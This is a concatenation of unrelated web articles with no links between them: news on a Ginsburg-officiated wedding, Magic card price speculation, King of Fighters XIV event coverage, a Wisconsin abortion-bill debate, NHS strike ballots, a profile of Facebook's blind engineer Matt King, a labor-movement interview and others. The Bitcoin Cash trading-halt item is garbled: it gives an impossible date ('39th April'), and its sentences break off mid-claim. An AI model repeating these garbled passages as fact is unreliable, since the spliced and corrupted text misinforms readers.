But not long before we talked, there had been a murder in the area, the latest in a series of violent attacks and killings. Shops that hadn’t existed a decade ago were boarded up in anticipation of further violence; the police patrolled newly tarred roads. The woman was scared to leave her home.
“This is what all the money has brought to us,” she said to me. “We were poor, but at least we didn’t need to worry about our lives. I think it was better that way.”
It must have been a wedding for the history books.
Shakespeare Theatre artistic director Michael Kahn on Sunday married New York-based interior designer Charles Mitchem at a museum, Washington, D.C.'s Anderson House in Dupont Circle. The rings were from Harry Winston.
And Supreme Court Justice Ruth Bader Ginsburg officiated.
But the real news came this morning, via the New York Times' Maureen Dowd.
"But the most glittering moment for the crowd came during the ceremony," Dowd wrote. "With a sly look and special emphasis on the word 'Constitution,' Justice Ginsburg said that she was pronouncing the two men married by the powers vested in her by the Constitution of the United States."
Was she offering a hint at next month's ruling? Her personal beliefs? Or just being a good-natured sport?
Related:
Ruth Bader Ginsburg - The Movie
Notorious RBG Makes An Inviolable Argument For Same-Sex Marriage
Ruth Bader Ginsburg: America Is Ready For Same-Sex Marriage (Video)
Image by Wake Forest University School of Law via Flickr and a CC license
Hey, everyone! I’m continuing to receive a lot of positive reactions to my first couple pieces here at MTGPrice, and I really appreciate it. I’m glad that my words have been able to help so many people, and I’m always willing to accept requests for upcoming articles if you have a general or specific question about Magic finance that you’d like me to address.
While the titles to my last two articles were oddly food-related, I want to assure you that this week’s teaser does not have anything to do with different milk-fat percentages. In fact, I’m talking about the Interests page on MTGstocks.com, and the Biggest Gainers/Losers page on MTGprice.com. These pages are two of the cleanest and most efficient ways for a single person to check what happened over the past 24 hours in MTG finance, at least in terms of single cards spiking or dropping in price.
I highly recommend you bookmark one or both of these pages and reference them at least once a day. It will help you to be aware of what to value your cards at for FNM, when to update your inventory on TCGplayer or eBay, and what cards you need to put your cross hairs on for the purposes of your own trading and buying. While my last two articles focused on specific cards that I think you should get rid of or pick up, this one is going to attempt to teach how to spot those cards on your own, which I believe to be a much more valuable skill in the long run.
I Got 99 Percent Problems (or Something Like That)
One of the biggest mistakes that I used to indulge in back when I thought I was a hot-shot financier was using the recent price spikes to my advantage once they had already happened.
While this would help me out in the short term while trading at FNM or occasionally finding unchanged listings on eBay or CardShark, I wasn’t finding a way to stay ahead of the game; in fact, I was lagging behind it and feeding off of the scraps of others. I would find a card that had changed in price by at least 99 percent (we’re sticking to that number so my subheading joke works), such as Tempered Steel, when it jumped because of that silly mono-white aggro deck back when it was in Standard. Wow, I feel really old talking about that, even though it was only a few years ago. Anyway, I would trade for them at their “old” price, and try to find stores that hadn’t updated their prices. Usually, this would result in me owning a card that had already spiked, and having no way to get rid of it. While I had technically gotten the card at its pre-spike price, I was on a short timer to dump it at the inflated number before the hype wore off.
Although I have long since realized that this is ethically in a gray area and pretty inefficient nowadays, there are a lot of people who don’t recognize that. They check the “Biggest Gainers” and “Weekly Winners,” helped by the fact that the cards are sorted in such a fashion to show you the cards that already spiked. While this is helpful if you own the cards that are listed at the top of the page and want to know what cards to immediately try to sell out of, it doesn’t directly benefit you if you’re trying to find the next target days before it actually rises to the top of the page.
2.5 Percent Is All It Takes
I’m here to tell you that what you should be really looking for are the cards that consistently show up with a two percent, or similarly small percentage, next to their name, week after week. In the case of MTGstocks, two percent is the smallest price increase that justifies showing up on the daily Interests page, and it’s usually only an average jump by a number of pennies.
Sometimes, these minuscule percentages are incidental and overall pointless. “Oh boy! The average price on Luminous Angel from the Duel Decks: Anthology increased from $2.01 to $2.07! That’s so relevant to everything and you should buy them because DJ said that cards with a two percent change are going to spike!!!”
No. Let’s not have that mentality. Instead, let’s take a look a card that I think actually portrays what I’m trying to talk about.
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Do you see it? Can you guess on what card I think is an excellent sleeper for this type of “two percent” creep? Fine, I’ll give you a hint.
(One of the lesser-known benefits of me writing this article is that I can now actually spell out the name Nyxathid without having to check back at the card image page six times. Anyway, let’s look at the actual graphs for this thing and see what’s up.)
Alright, so it’s been slowly trending up from a low of $1.50, and it’s approaching $3.00 rather steadily. I’ve noticed that this guy has been towards the bottom of the daily Interests page, hovering between two and four percent at least a few times a week. I’ve also received at least 12 copies from my Pucatrades Want list, as you’ll be seeing on our Saturday article, “What We’re Buying and Selling This Week.” I say this for full transparency, as I believe that the card has real potential to spike to at least the $6 to $7 range.
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It sees a tiny amount of Modern play in that Eight Rack deck, it’s a casually appealing card in a synergistic archetype (in my experience, discard is somewhat close to mill in terms of casual appeal), and it’s legal in Tiny Leaders, for whatever that’s worth. While it’s obviously not a format staple, it certainly appears to be powerful in the Varolz deck, where you can scavenge it into something evasive like Phyrexian Crusader and just kill your opponent before he or she can react. (I’m no Tiny Leaders expert, though, so I’d appreciate those that are chiming in and telling me if I’m an idiot for saying that.) Lastly, I’d like to put a cherry on top and mention that it’s never been put in any supplemental product ever. The only Nyxathids that exist are the ones that were cracked from Conflux packs around seven years ago.
Is Nyxathid going to be the next four-of in a Modern pro tour maindeck? No, of course not. Even if it does spike, I don’t think it will stay at $10, and I don’t think foils should be $15 or $20. What you can do, though, is wait until that two percent creep reaches a breaking point, and keep an eye on the changes in supply on sites like TCGplayer, SCG, and eBay. Even if it spikes for a stupid reason, you can have copies in your hand to immediately make money off of, that you’ve been holding onto ever since you saw that card repeat itself on the bottom of the Interests page.
Relaxathid
In my opinion, the best part about this type of speculation strategy is that you’re far ahead of the game. If for some reason the card suddenly spikes, you’ve already been keeping a pulse on the card for weeks, by making mental notes of the cards that appear repeatedly near the bottom of the two percent section of the Interests. You get to savor the moment while everyone else scrambles to do what I suggested that you don’t do in the first few paragraphs of this article. While everyone is buying copies during the spike and chasing the hype, you get the opportunity to casually sell into that hype and make your money before the dust even starts to settle. If you can sell copies of your spec while they’re climbing up to the people who think it’s going twice as high as they’re buying for during the hype, you’re golden.
Oh, was that a link in that last paragraph? Did I just happen to accidentally mention the name of a certain card in order to demonstrate how you could’ve anticipated a certain price spike that happened just a week ago? Sure, let’s go with that. If we go back in time seven days (well, at least from when I’m writing this), we find this:
I’m certainly not blaming the person who posted this picture on Facebook for causing the spike. That’s not what I believe happened at all. I just want to use this recent example to show how you could have been in on this card at bulk rare pricing as early as this past December. Savor the Moment crept up, penny by penny, every few days. From $1.00 to $1.04, to $1.21… ever so slowly. These types of miniscule changes are tracked on the Interests page, and allow you to get in early before the card happens to skyrocket in price because someone decided to spend less than $100 on TCGplayer to force something to happen.
End Step
Did you know that there’s an Interests page for foil cards on MTGstocks? I recently learned that there were a large number of people who didn’t know this; that’s probably because the only way I can figure out how to access it is to add on “foils” to the normal URL of mtgstocks.com/interests.
In a world where we’re constantly hearing about X or Y card being bought out on TCGplayer, it’s important to know that there are ways of noticing tiny trends ahead of time, and jumping on them weeks in advance before anyone else catches wind of the card.
Have you noticed anything that’s oddly similar to Nyxathid or Savor the Moment over the past few weeks? What do you think is the next two-percent spec? Let me know in the comments section below, or on Twitter, Facebook, Reddit, etc. You all know the drill by now. Thanks for reading!
Keizo Shimizu (Shinshaku Sengoku Eiyū Densetsu - Sanada Jū Yūshi The Animation) directed the series and contributed to character designs alongside Akio Sugino, Ippei Masui, and Keiko Yamamoto. Series composition was helmed by Kazumi Koide (Wonder Beast Scramble, Dragoon OAV), and animation production was handled by Magic Bus.
Cobra the Animation will be available through select digital outlets, with a home video release to follow.
For Sentai Filmworks’ latest announcements regarding this and other great titles, be sure to like us on Facebook and follow us on Twitter.
About Sentai Filmworks, LLC
If you’ve ever wondered what it’s like to drown in a pool of KOF news, welcome to the wonderful world of Monday the 25th April. This was the day of the SNK KOFXIV press conference and Stream at Esports Square in Akihabara. The past day has been like a flood at Orochinagi and we’ve been going nuts over everything that people have been reporting.
Now we’re ready to throw some additional stuff that we’ve got from covering the event too. We promise you won’t be bored– c’mon, read on. None of it is PREDICTABO!
[Bringing back the SNK Legacy]
The corporate logo change isn’t a gimmick– it’s a declaration.
SNK is returning to its roots as a videogame maker. No more pachislot. It’s all videogames from now on.
The announcement was greeted with a huge applause when president Koichi Sotoyama made his presentation on stage. No doubt that the local fans in Japan wanted the old SNK back just like everyone else in the world. SNK themselves knows that their old logo has better global recognition, which should help them in releasing games and expand their licensing business throughout the world.
Now, on to the more juicy tidbits on KOF XIV! —
[So this is a new Saga?]
We’ve already been told numerous times that KOFXIV is going to be a new saga, and we can now confirm that the saga won’t conclude with just this one game. The devs aren’t solid on it yet, but they revealed on stage that the current plan is to make it a trilogy just like all the past chapters in the KOF series.
[That Dinosaur… he used to be a Griffon.]
Does the King of Dinosaurs look familiar? He should if you’ve ever played Garou:MOTW, but the devs of KOF14 jokingly kept on saying that they’re unrelated to each other. In KOF14, The King of Dinosaurs is supposed to be a popular wrestler in Mexico with original moves like the Zet’s Met’s Hurricane, which means ‘Extinction Hurricane’ in Japanese. Did it sound in the trailers like Justice Hurricane to you? Surely you need to get your ears fixed. On a side note, we tried him out at the event and we were stunned at how slow he dashes. No wonder Dinosaurs couldn’t run away from extinction.
[They actually revealed the boss already?]
The devs at SNK apparently realized that there’s no use hiding Antonov when his name is all over the game. In terms of storyline, this is actually the first time that a KOF host is sending invite letters to KOF participants without hiding his name behind an initial.
[Are Kim’s new teammates just like what the rumors said?]
Remember the rumors about Kim teaming up with his teacher and the teacher’s wife in KOF14? Well the SNK devs confirmed during their presentation that Gang-il is in fact Kim’s sensei, but there wasn’t anything said that confirmed if he’s actually married to Luong. As it turns out, Gang-il is apparently quite the womanizer and he tries to pick up ladies wherever he goes around the world. And for some reason (which we hope will get explained), he ended up succeeding in picking up Luong. That sort of explains her existence in the team even though she’s seemingly Vietnamese judging from her name.
[Who in the world is that blue Rasputin in the villains team?]
There wasn’t much detail given on the new guy Xanadu but according to the devs, he’s supposed to be a real badass who’s been locked away in the underground prison, sort of like a legendary criminal.
[So what about that new girl in the South America team?]
The devs didn’t offer much background on her during the presentation, but she reportedly fights in a “bright festive manner that feels like South American, always in the air”.
They also clarified that her Brazilian Ninja teammate is sort of a weaboo; he’s a normal person who’s really into ninjas, and he created his own Brazilian Ninjutsu fighting style. Whenever he does tricks like multiplying, he’s actually doing them through raw physical movement, not through any Ninjitsu skills.
[So the new protagonist is that kid in the China team?]
Whether he’ll get enough recognition by fans to be appreciated as a new hero is something we’ll need to wait and see, but as far as the new storyline goes in KOFXIV, the devs confirmed during presentation that Shun’ei will be the protagonist. In KOF14’s storyline, Shun’ei and Meitenkun are Tung’s last disciples. That also pops up the question, “Are they going to be involved with the Psycho Soldier team in the storyline?”, but needless to say the dev’s reactions were an enigmatic “Hummm…”
[What’s up with that Another World Team?]
Basically it’s a pachislot team. All three characters including Nakoruru are popular girls from SNK’s Pachislot titles back when their pachi department was still in business. The devs explained that Alice in the Woman’s fighter team is also from the Fatal Fury pachislots and she was particularly popular. Alice was originally an easter egg in Real Bout Special, but she was redesigned and reborn as a separate character for the pachislot series.
[What about Ash and his teammates?]
The pimple-faced protagonist of KOF13 disappeared in its ending, but will he be making a comeback? That was certainly one of the questions that the host Mitsuhiro Ichiki asked the devs on stage, but as expected their reply was enigmatic; “that’s certainly something that [everyone] must be wondering”.
[50 characters without DLC is promised, right?]
If you hate games that gets shipped incomplete with a number of characters that are missing or incomplete, that certainly won’t be the case with KOFXIV. SNK promises that all 50 characters will be on disc so fans can just play the game by chucking it in their consoles after picking up a copy at their retailers. Of course you can also take the digital route… that is, if you’re not interested in the bonuses like the Japanese art book or American SteelBook.
[So… what about the online?]
The KOF14 presentation actually closed with the devs saying that they’re doing the final tweakings on the online stuff right now.
From what we know, there’s going to be quite a number of features that’ll make online play more exciting in KOFXIV. First and foremost is the Party Battle mode, which allows for 3 players to team up and experience a true 3on3 battle. Each player selects and fights with one character, and same characters are allowed so you won’t have to fight over your teammates to pick them. The lobby amazingly lets up to 12 people participate, and of course there’s voice and text chat. What’s more, there’s also a new feature called “Crowd SE”, which lets spectators root, applaud, and of course boo the players with sound/voice effects. You can set your profile details to be public/private, which should be a welcoming feature for players that aren’t necessarily fond of showing off their stats.
There’s also going to be an online training mode, which is one of the main features that many of the more recent fighting games are adapting. The devs mentioned during presentation that they’ll be implementing something that’ll make advanced players prone to help out beginners. We’re certainly looking forward to how that’s going to be done.
[That Hori Stick! That artwork?]
The artwork is still tentative, so be on the lookout as the days go by.
[More Mai! More Nakoruru!]
We hear ya. So here it goes, a photo of the Japanese NeoGeo gals to close off this article.
US, Canadian and Japanese pre-orders are open! At the moment you’ll have to choose between the Japanese Artbook and Skin versus the American Steelbook!
Please stay tuned for more information regarding Europe.
Here is our video from the event!
Wallpapers and media
SNK is currently offering a free KOFXIV wallpaper from their site, which may explain why it’s slow to access at the moment. Please try again later.
Now here are the rest of the photos from the event.
THE KING OF FIGHTERS XIV (C)SNK PLAYMORE CORPORATION ALL RIGHTS RESERVED
Wednesday’s Senate session began with state Sen. Kathleen Vinehout (D) reading letters from several constituents who opposed the bill.
“The idea of — quote — small government is in direct conflict with big government Republicans sticking their nose my vagina,” one voter named Suzanne wrote. “How can we get the conservatives — mostly men — to quit blaming women, many times girls, solely for unwanted pregnancies?”
A second letter pointed out that the bill’s provision excluding rape and incest would not be effective because only 16 percent of rapes were reported to police.
Vinehout said that she had been touched by the letters because she had also been a victim of sexual assault at the age of 15.
“And if we truly want to make abortion rare, Mr. President, why are we defunding Planned Parenthood?” the Alma Democrat asked.
Republican state Sen. Mary Lazich, who sponsored the legislation, however, encouraged her fellow lawmakers to ignore “the theatrics surrounding” Vinehout’s presentation and then launched into an impassioned speech of her own.
“If you have a loved one that’s thinking about terminating their pregnancy, for crying out loud, you want them to have full information, you want them to have an ultrasound, you want them to know what’s going on in that womb and what they’re doing, and that they’re not going to be able to change that for the rest of their life!” she exclaimed. “They make that decision, it’s over! It’s over in a few minutes. And then later on they can live with the fact that they terminated their pregnancy and it was the best thing for them or they killed their child and they made a horrific decision and they regret it and they wish they never would have done it!”
Following Lazich’s remarks, Democrats tried to continue debate but Senate President Mike Ellis (R) called for a vote.
“It’s non-debatable! Call the roll!” he shouted. “You’re out of order!”
“You’re out of order!” someone on the Senate floor shouted back.
“You’re interrupting a roll call! Sit down! Right now!” Ellis yelled, repeatedly banging his gavel in anger.
“I understand you’re afraid of this debate,” Minority Leader Chris Larson (D) reportedly said, but his microphone was cut off, according to The Associated Press.
In the end, the bill passed 17 to 15 along party lines. It was immediately referred to the state Assembly, and Gov. Scott Walker (R) has said that he will sign it into law.
The Tampa Bay Rays and the New York Yankees got into a minor fight on Thursday night, but it wasn't during a game (they didn't play against each other) - it all took place on Twitter.
Here's how it all started and what it was about:
The Yankees sent out this tweet after Gary Sanchez hit a homer in their 13-5 win over the Orioles.
"Gary Sanchez isn't a home run hitter." 😂 pic.twitter.com/aoBh4SYD8J — New York Yankees (@Yankees) September 15, 2017
The tweet is sort of subtly mocking the Ray's Logan Morrison for hating on Sanchez when he said that Sanchez didn't belong in the Home Run Derby.
The Rays saw the tweet and called the Yankees "petty" for posting it to their 2.7 million followers.
Imagine having the ability to reach 2.7 million people and using it to be this petty. ✌️ https://t.co/7W44zbwezM — Tampa Bay Rays (@RaysBaseball) September 15, 2017
Then, the Yankees finished the fight with this KO.
Dear 2.72 million followers,
Please enjoy this video of the 4 HR hit by your team tonight.
Sincerely, Yankees Twitter ✌️ pic.twitter.com/xEdheH6TVY — New York Yankees (@Yankees) September 15, 2017
Yep, the Rays definitely lost that one, and not just because of the way the Yankees responded. They also wound up with other fans roasting them in their mentions.
Imagine playing in front of 2.7 fans per game — Sean O'Connell (@SOConnell_10) September 15, 2017
Better luck next time, Rays.
She passed her degree at 19, and was awarded a PhD in natural sciences and mathematics at the age of 21.
Her studies took her from Michigan Tech in the US, to Cambridge University, UK, and then to the University of Groningen in the Netherlands.
Dr Aifantis is one of the first recipients of a new funding programme for "exceptional" researchers who chose to work in Europe.
Now 24, she is the youngest recipient of one of the first European Research Council (ERC) starting grants. She will use the grant to spearhead a research programme studying mechanisms that exist at very small scales in the "tiny world" of nanotechnology.
The aim of the work is to develop new applications of nanotechnology in the field of biomedicine, such as miniature batteries for brain implants designed to treat diseases such as Parkinson's.
I met this beautiful community in science and I really wanted to be a part of it
Katerina Aifantis
Such devices would apply a current to dead nerves, and help activate parts of the brain that have been damaged, she says.
"I have to apply a new theoretical framework in order to capture what goes on in the nanoscale," she says.
She credits her precocity with growing up in a scientific environment - her father is a scientist working in the field of mechanics, who was surrounded by Nobel Prize winners.
"I met this beautiful community in science and I really wanted to be a part of it," she explains. "I also wanted to see exactly what he was doing so that motivated me to go fast in my studies."
At 16, she was given the opportunity to enrol at Michigan Tech by her High School principal.
She passed her degree in engineering at 19, then went to Cambridge University in the UK for her PhD. She was supervised by the applied mathematician, Professor John Willis.
"He let me go straight ahead into research instead of making me take courses and following the traditional path," she says.
Although she finished her dissertation within a year, she was unable to submit for a PhD at Cambridge because rules stipulate a minimum of three years of study.
"John Willis and I thought that I could transfer to a different university in Europe that has no time requirements," she explains.
She moved to the University of Groningen, which was doing similar experiments, and became the Netherland's youngest PhD ever, aged just 21.
"I guess I was very blessed in having wonderful people to support me, and also both my father and my mother were very supportive of my love for science," she says.
Her advice to other young scientists is to surround themselves by supportive mentors who will help them do something new in the field. "Motivation is the main thing," she adds.
She says the ERC starting grant helps ambitious young scientists who want to focus on their research.
"Because I went very fast, and I got my PhD when I was 21, I was looking for something challenging to do," she says.
No, there probably weren’t too many people furiously researching the schematics of Serenity’s dashboard in order to answer the maddening question of what type of keyboard helped the crew commit hilarious space heists. However, if you ever got a glimpse of the keyboard — seen above — it did not look like your standard model.
Ripster is something of a keyboard legend around the internet, so it’s not a surprise that he was able to identify the exact model of Serenity’s keyboard simply by looking through a few set photos. The keyboard is actually spread throughout the ship.
Ripster spotted the Motorola logo sitting on the top left area of the keyboard, and from there, the search was quite easy (for someone who is known for being a keyboard expert, at least). It turns out Serenity used an in-car keyboard — the KDT480 — commonly used in police cars. So, that’s why that keyboard looked so weird: it wasn’t a typical PC deal.
The NHS is bracing itself for a strike after its largest union voted to ballot its members over industrial action to protest against the axing of health staff's planned 1% pay rise.
Unison, which represents 400,000 NHS personnel including about 100,000 nurses, decided on Tuesday to ballot over strike action or action short of a strike.
But at least 500,000 NHS staff will be balloted after Unite, which represents another 100,000 workers, confirmed that it too will hold a ballot for action including a strike.
Unison members are "incredibly angry" about health secretary Jeremy Hunt's decision last month to cancel an across the board increase for all staff recommended by the NHS pay review body, said Christina McAnea, the union's head of health.
"We are the largest health union and we take the responsibility that comes with that very seriously. Members neither strike often or easily," McAnea told Unison's health section's annual conference in Brighton.
"But this time it feels that we have no choice. We face a government in England deliberately provoking us into a dispute and so no doubt already preparing for this," McAnea added.
NHS staff face having their pay and conditions reduced because the government is cutting NHS funding, despite pledges to protect it, she said.
Hunt has offered to endorse a 1% rise in consolidated pay if unions agree to a one-year freeze in the increments – small uplifts worth up to 7% of salary in some cases – which many staff receive as they extend their skills and experience.
Unions representing doctors and nurses are also furious about not receiving a real-terms pay rise for the fourth year in a row because of Hunt's decision.
The British Medical Association warned Hunt last month that there was "a deep sense of outrage felt by many doctors" at his refusal to give them and dentists the 1% rise in basic pay recommended by the independent body which traditionally sets the pay increases they receive.
But NHS Employers, which represents hospitals and other employers, said any withdrawal of labour would be "deeply distressing" for patients and urged unions to talk, not strike.
Dean Royles, its chief executive, said that while he understood staff's unhappiness, "my simple, honest ask is that they don't take that displeasure and frustration out on patients. People accessing healthcare are often at their most vulnerable and the very prospect of strikes when they should be receiving care will be deeply distressing for many."
The exchange released a statement on Twitter last night with timestamped updates, explaining that they had suspended trading BCH-USD (the only Bitcoin Cash Trading Pair Enabled until 39th April). now) at 17.22 PST due to "significant volatility". The exchange explained that the decision to stop the negotiation was made "to ensure a fair and orderly market."
Update on #BCH trading on GDAXhttps: //t.co/p3cEx0ryh7 pic.twitter.com / NyGUTVFL91 – GDAX (@GDAX) December 20, 2017
According to data from the data provider CoinMarketCap, the last listed price of Bitcoin Cash before the deactivation of trading was nearly $ 9,000, an increase of more than On their own Twitter, Coinbase informed users last night that they were going to allow the buy / sell feature for BCH in their application and their web version as soon as "there will be enough cash on the BCH". GDAX, "believing that this would happen somewhere today.
Update on #BCH trading on GDAXhttps: //t.co/p3cEx0ryh7 pic.twitter.com/NyGUTVFL91 – GDAX (@GDAX) December 20, 2017
Possible reason for the stop
In addition to GDAX of the official explanation of the stop of the trade, one of the possible reasons for this sudden interruption, is the sudden influx of users to the exchange, which probably put the platform to the test.
This may be due to the fact that Bitcoin Cash is a hard range of Bitcoin – Coinbase users who were holding Bitcoin when the hard range took place in August automatically received the equivalent in Bitcoin Cash when the platform started to to endure it.
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Issa has accused the Justice Department of stonewalling his investigation into how the guns were allowed to flow into Mexico. He’s also scheduled a hearing for Monday which will focus on the constitutional questions raised by DOJ’s “refusal to comply with a Congressional subpoena as well as the withholding of documents from a Congressional subpoena.”
The Wall Street Journal reported that Mexican police raided a home in Ciudad Juarez and reported finding a gun stash that included “two dozen AK-47-style rifles, three antiaircraft machine guns, dozens of grenades and more than 26,000 rounds of ammunition.” Perez reports:
U.S. authorities have identified at least five Romanian-made AK-47-style rifles as having been purchased in the U.S. by suspects the ATF was tracking in the Fast and Furious operation. Documents from the ATF’s National Tracing Center detail the makes and serial numbers of the firearms, their recovery in Mexico, and dates in 2009 and 2010 when the ATF entered them into a database of suspect guns.
It’s the kind of glitch that might make a man sweat in front of the audience. But this is no glitch. King has done it deliberately to bring us into his world, however disorienting it might be for the rest of the room.
“I’m going to put it into a state that’s more like how I operate,” King says with just a hint of mischief. He looks less like a computer engineer than an ex-marine, but with the surprisingly cheerful and calm speech of someone who grew up in the Pacific Northwest.
Before we can fully internalize his words, King is drowned out by a mechanical voice. “Screen curtain on.”
King begins tapping the arrow keys to scroll through a Facebook timeline, with the voice leading the way. “Heading Level 5. Link. February 26, at 3:53 pm." Next, it recites the contents of the friend’s post. “What a view, I really like my new camera.” Then nothing. The voice is quiet. King is quiet. There is no photo to enjoy. The screen is still dark.
One billion people check their Facebook feeds every day, mindlessly scrolling through texts and photos to keep up with friends and family. King joined Facebook in June as the company's first blind engineer to make sure millions of visually impaired Internet users around the world are not handicapped in their personal relationships simply because they can’t do the same.
After the silent pause in his demo, King unveils the result of the first big project he’s been a part of at Facebook.
The same mechanical voice uses artificial intelligence to identify broad but crucial elements of the friend’s photograph. The image, it says, “may contain sky, tree and outdoor.”
A second photograph from another Facebook contact is said to include “pizza.” Vague, sure, but at least it tells you something to keep you in the loop — more than that dark screen.
This AI-powered tool, officially released in its applications on Tuesday, is part of what Paul Schroeder, VP of programs and policy at the American Foundation for the Blind, described to me as a “tipping point with accessibility.” The same technology that some scoff at or even fear today — artificial intelligence, self-driving cars, voice-powered personal assistants and robotics — could fundamentally transform the lives of the visually impaired in the coming years.
“He wants what you and I all want. He wants to be able to go to work and not have to worry about the technology anymore.”
As a member of an accessibility team at the world’s largest social network, and one of the few engineers anywhere in Silicon Valley with first-hand experience of blindness, King has the potential to shape the broader conversation and influence products built by other technology companies for the visually impaired.
Just last week, both Microsoft and Twitter announced tools similar to the one King has been working on at Facebook for months.
"A competitive streak"
More than many others tackling this problem, it is deeply, deeply personal for King. He wants to be able to work and live online and offline just as well as anyone else. Better in fact, according to interviews with friends, coworkers and King himself.
King with his colleagues from the Facebook accessibility team. Image: FACEBOOK
“I’ve always had a competitive streak,” he admits in one of our conversations. As a result, he continues to set new standards, both technologically and physically, for what visually impaired people everywhere can accomplish.
King has pushed himself physically to set racing records as a bicyclist (yes you read that right). He has put in the hours to study how to play the pipe organ. He designed and built a house for his family. And he has worked as an engineer at some of the biggest and most revered technology companies around.
“He wants what you and I all want,” says Rich Schwerdtfeger, CTO of Accessibility at IBM and a former colleague. “He wants to be able to go to work and not have to worry about the technology anymore.”
Who you calling “blind?”
King got on his bicycle and set out from his parents’ home in Centralia, Washington to a doctor’s office to get a routine allergy shot. Along the way, King, a cycling lover who used to deliver newspapers, veered off the road several times and couldn’t understand why.
“I thought I could see the edge of the road, but something funny was going on because the edge of the road wasn’t where I thought it was,” King recalls.
Though born legally blind, King could still see well enough most of the time to do schoolwork and ride his bike. That experience pedaling to the doctor in his late teens proved to be the clearest early warning sign that the remainder of his vision was fading as a result of a condition called retinitis pigmentosa, which destroys the retina.
During the next 3-4 years, he used a special magnification system to blow up the size of text on his computer screen larger and larger to view equations for his college electrical engineering classes. But it was no use. By the time he graduated from the University of Notre Dame at 22, King was completely blind.
“I didn’t know that you could be both blind and smart.”
It was a crushing blow for someone who had spent much of his life pushing back against the idea that he was “blind” just because his vision was below a certain level.
“I didn’t want the label of ‘blind’ because, like a lot of people, I didn’t know what it meant really. I just associated it with all kinds of negative concepts,” King says, pausing. “I didn’t know that you could be both blind and smart.”
“That sounds so stupid to me when I say it now,” he admits. “It sounds literally ludicrous. It was a different time.”
What ultimately changed that opinion was meeting others who’d lost their vision while in college and through the National Federation of the Blind who mentored him and showed you could “lead great lives while blind.”
He decided to do even better.
Matt King, right, riding on a tandem bike. Image: Eric Degolier
Getting back on the bike
Eric Degolier, a professional cyclist, wasn't sure what to expect when King contacted him out of the blue in 2004.
King had seen Degolier compete and asked if he would want to ride together on a tandem (or twin seat) bicycle at that year's Paralympic Games in Athens. Degolier didn't really know what all of those words meant, but he soon found out.
In the early 90s, King began riding again on tandem bikes, paired with another cyclist in front who could see. Then he started competing professionally, setting a cycling record in the 4,000 meter pursuit at the 1996 Paralympic Games in Atlanta.
"I guess the competitive streak just naturally continued," King says, with his trademark understatement.
Whatever doubts Degolier had about King's racing potential were erased the moment they first met in person. "He has enormous thighs," Degolier says. "Right away, there’s no doubt this guy is a real athlete and will pull his weight here."
While in Athens, Degolier witnessed something powerful that has stuck with him ever since. Men and women who were blind, missing limbs or facing other disabilities mingled together like a band of carefree misfits inside the Olympic Village, a scene which many athletes in attendance jokingly compared to the famous cantina scene from Star Wars — in the best possible way.
"It was an atmosphere where they didn’t have to see the people staring at them, or treating them as if they have a handicap," Degolier recalls. "They would go out for a movie. They wouldn’t park in the handicap stalls."
And King too, according to Degolier, "wouldn’t have felt discriminated against."
A vision for the future
King worked to achieve that same feeling professionally. He joined IBM as his first job in 1998 for a six-month gig, met the accessibility team there and ended up working with them for nearly two decades.
IBM created its accessibility department in 1985, well before most of Silicon Valley was thinking about the issue, partly in response to an IBM researcher who had gone blind. “I never really understood the magnitude of what this would mean for people,” says Schwerdtfeger, an early member of the accessibility team who later worked closely with King.
“The sense that was happening was that every person who was blind on the planet was losing access to the computer. There was no solution. You couldn’t write an email. You couldn’t go to work. You couldn’t go to school.”
A blind IBM researcher uses an early tool for reading webpages aloud. Image: AMERICAN FOUNDATION FOR THE BLIND
By the time King joined, IBM had already invented the first screen reader to help blind workers scroll and identify text on the computer screen. King’s key contribution, according to multiple colleagues from that era, was to help refine and improve the user experience from the rare perspective of someone who is both blind and a coder.
"Here's another barrier"
Over the years, he also played a significant role in authoring and pushing new open standards to help web developers make the Internet more accessible to those with disabilities.
“There were other blind people and several of them provided good input from the standpoint of a user, but what Matt brought to the table was an understanding of the technology underneath,” says one current IBM staffer, who requested anonymity because he was not authorized to talk about former employees.
Even with all they accomplished, King was increasingly constrained by bureaucratic limitations within IBM and eager to have a bigger impact, and perhaps a higher profile, elsewhere, according to former colleagues.
Image: facebook
For King, fixing Facebook was personal. He still remembers the “arduous experience” of creating his Facebook account in 2009 only to realize he had no idea what pictures his friends were sharing and discussing. “That was really disheartening,” he says. “Here’s one more thing, just like driving a car. Here’s another barrier for people who are blind.”
For Facebook and its peers, committing more to accessibility efforts is more than just good PR, though it's certainly that too. Andrew Johnson, an analyst at Gartner, says tech companies increasingly need to cater not just to people with disabilities but to the "situationally disabled." People who may not be able to read because they are driving, or in a noisy place, and could benefit from technology similar to what helps the blind.
King may end up helping both keep connected to the people they love throughout the day.
"The fact that you have somebody who has worked on accessibility who actually has the disability, is in a leadership position at probably the most pervasive application on the planet and is willing to put themselves out there like that," Schwerdtfeger says, "that's a big deal."
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Over eight decades in the labor movement, Harry Kelber has been a rank-and-file union leader, an author and an academic. At 25, he edited two weekly labor newspapers. At 57, he helped found a labor college at Empire State College. At 81, he ran for AFL-CIO vice president. Now 97, he writes three columns a week for his website, The Labor Educator. The Nation talked to Kelber about his experience of the labor movement’s past, his critique of its present and what he sees in its future. What follows is a condensed and edited transcript of our conversation. Ad Policy
As a teenager during the Depression, you led a grocery workers’ strike. How did you do it?
We were working seventy-eight hours a week at Weinstein’s. On Saturday nights, whoever had the lowest sales for the week was fired. I was a favorite of the owner, and he said, “I’ll make you an assistant manager.” When I said no, he fired me on the spot.
So I called up a union. We went around talking to workers around the city, and we decided that the next morning that we would all assemble outside the store, and no one would go in. The manager and the assistant manager were the only ones who stepped into the store. That created quite a commotion.
We kept up that strike for four months, until we were pretty desperate, and then just at the moment we were exhausted and said we can’t continue this, we reached an agreement. The strike was settled, and workers went back with a five dollar increase and an improvement in the workload—on the condition that I was never to return to the store.
How did it shape your view of the labor movement?
What I saw during the Depression convinced me that we needed a new society to allow people to earn a living.
It was during the toughest time. But my co-workers had very good motivations: They felt that they were being abused, and that there was no future for them. And they wanted to have a little recognition and respect. And we won Social Security, child labor laws and a resurgent movement. Now, why can’t we do that today?
What does the past year’s uprising in Wisconsin mean for labor?
There’s a marvelous new development. It shows the possibility of workers responding to horrible legislative actions. I think it’s going to spread throughout the country.
One of the problems that the labor movement has to deal with is that it seems to be always on the defensive, trying to block anti-worker campaigns. If you act like a union you’re going to grow. But there are not too many unions that are growing. A lot of them are just trying to survive, even with concessions to the employer. That’s not healthy.
Wisconsin is very heartening, and my feeling is that at some point, there will be a congress of all these people from all these separate actions around the country, who will seek either to change the AFL-CIO or to set up an entirely new organization that will represent the needs and sentiments of working people.
How do you see Occupy’s plans for a General Strike May 1? What can the labor movement learn from Occupy?
